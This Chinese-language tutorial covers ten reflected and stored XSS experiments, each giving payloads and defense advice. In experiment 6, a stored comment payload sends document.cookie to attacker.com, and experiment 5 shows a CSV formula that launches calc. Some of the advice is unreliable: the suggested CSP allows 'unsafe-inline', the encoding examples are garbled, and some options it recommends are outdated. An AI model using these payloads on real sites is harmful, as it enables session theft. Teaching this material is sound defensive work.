跨站点脚本XSS-20个实验（上）：从理论到实践的深度探索

摘要

跨站点脚本（XSS）是Web安全领域的高危漏洞之一，攻击者通过注入恶意脚本窃取用户数据或篡改页面内容。本文通过20个实验（分上下两篇）系统解析XSS的攻击原理、类型及防御策略。上篇聚焦反射型XSS和存储型XSS的10个核心实验，结合代码示例与防御建议，帮助开发者从理论到实践全面掌握XSS攻防技术。

一、XSS漏洞基础：原理与分类

1.1 XSS攻击的本质

XSS（Cross-Site Scripting）的核心是将恶意脚本注入到用户浏览的网页中，当用户访问受感染页面时，浏览器会执行这些脚本，导致数据泄露、会话劫持或页面篡改。其本质是输入未经过滤直接输出到HTML/JavaScript上下文。

1.2 XSS的三大类型

类型	触发条件	典型场景
反射型XSS	用户点击含恶意URL的链接	搜索页面、表单提交
存储型XSS	恶意脚本存储在服务器数据库	评论区、留言板
DOM型XSS	前端JS动态修改DOM时未过滤	单页应用（SPA）的路由处理

二、反射型XSS实验（1-5）

实验1：基础反射型XSS

场景：搜索页面未对用户输入过滤。

<!-- 攻击者构造的URL -->
https://example.com/search?q=<script>alert('XSS')</script>
<!-- 服务器返回的响应 -->
<div>搜索结果: <script>alert('XSS')</script></div>

防御建议：

• 后端对输出到HTML的内容进行HTML实体编码（如<转为<）。
• 使用安全框架（如Spring的HtmlUtils.htmlEscape()）。

实验2：URL参数中的XSS

场景：URL的#后参数被JS读取并插入DOM。

// 恶意URL
https://example.com/#<img src=x onerror=alert(1)>
// 页面JS代码
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;

防御建议：

• 避免直接使用innerHTML，改用textContent。
• 对动态插入的内容进行上下文相关转义（如JS字符串需转义"和'）。

实验3：HTTP头中的XSS

场景：通过Referer或User-Agent头注入。

GET / HTTP/1.1
Referer: <script>alert(document.cookie)</script>

防御建议：

• 严格校验HTTP头内容，禁止包含<script>等标签。
• 使用WAF（Web应用防火墙）拦截可疑请求。

实验4：JSONP接口的XSS

场景：JSONP回调函数未过滤参数。

// 恶意请求
https://api.example.com/data?callback=<script>alert(1)</script>
// 服务器返回
<script><script>alert(1)</script>({"data":"test"})</script>

防御建议：

• 限制JSONP回调函数名为固定前缀（如jsonp_）。
• 改用CORS替代JSONP。

实验5：CSV导出中的XSS

场景：导出数据包含恶意公式。

Name,Email
Test,"=CMD|' /C calc'!A0"

防御建议：

• 禁用Excel的公式自动执行（通过添加制表符\t前缀）。
• 对导出数据中的=、+、-等字符进行转义。

三、存储型XSS实验（6-10）

实验6：评论区存储型XSS

场景：用户评论未过滤直接存入数据库。

<!-- 攻击者提交的评论 -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
<!-- 其他用户访问时触发 -->
<div class="comment">
  <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
</div>

防御建议：

• 后端存储前使用白名单过滤（如DOMPurify库）。
• 对富文本使用专门的 sanitizer（如sanitize-html）。

实验7：数据库存储的XSS

场景：管理员后台直接显示未过滤的数据库内容。

-- 攻击者通过其他漏洞插入恶意数据
INSERT INTO users (bio) VALUES ('<img src=x onerror=alert(1)>');

防御建议：

• 统一输出编码层，避免在多个地方重复处理。
• 定期审计数据库中的可疑内容。

实验8：文件上传中的XSS

场景：上传的SVG文件包含XSS。

<!-- 恶意SVG文件 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
  <circle cx="50" cy="50" r="40"/>
</svg>

防御建议：

• 限制上传文件类型为安全格式（如仅允许.jpg、.png）。
• 对上传的SVG文件进行XML解析和过滤。

实验9：Markdown渲染中的XSS

场景：Markdown解析器未过滤HTML。

# 标题
[链接](javascript:alert(1))

防御建议：

• 使用安全的Markdown解析器（如marked配置sanitize: true）。
• 禁止解析javascript:、data:等协议。

实验10：模板引擎中的XSS

场景：模板变量未转义。

<!-- 模板文件 -->
<div>{{ userInput }}</div>
<!-- 攻击者输入 -->
{{ constructor.constructor("alert(1)")() }}

防御建议：

• 使用模板引擎的自动转义功能（如Thymeleaf的th:utext禁用）。
• 对动态变量显式调用转义函数（如escapeHtml()）。

四、防御策略总结

4.1 输入过滤

• 白名单原则：仅允许已知安全的字符（如字母、数字、常见符号）。
• 上下文感知：根据输出位置（HTML、JS、URL等）选择不同转义规则。

4.2 输出编码

• HTML转义：<→<，>→>。
• JS转义："→\x22，'→\x27。
• URL转义：使用encodeURIComponent()。

4.3 安全头配置

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
X-XSS-Protection: 1; mode=block

五、实验工具推荐

1. Burp Suite：拦截和修改请求，测试XSS注入点。
2. XSS Hunter：自动检测存储型XSS并捕获请求。
3. OWASP ZAP：开源漏洞扫描工具，支持主动XSS检测。

结语

本文通过10个实验详细展示了反射型和存储型XSS的攻击手法与防御措施。下篇将深入探讨DOM型XSS、盲XSS等高级场景。开发者应牢记：防御XSS的核心是“永远不要信任用户输入”，通过多层次防护（输入过滤、输出编码、安全头）构建纵深防御体系。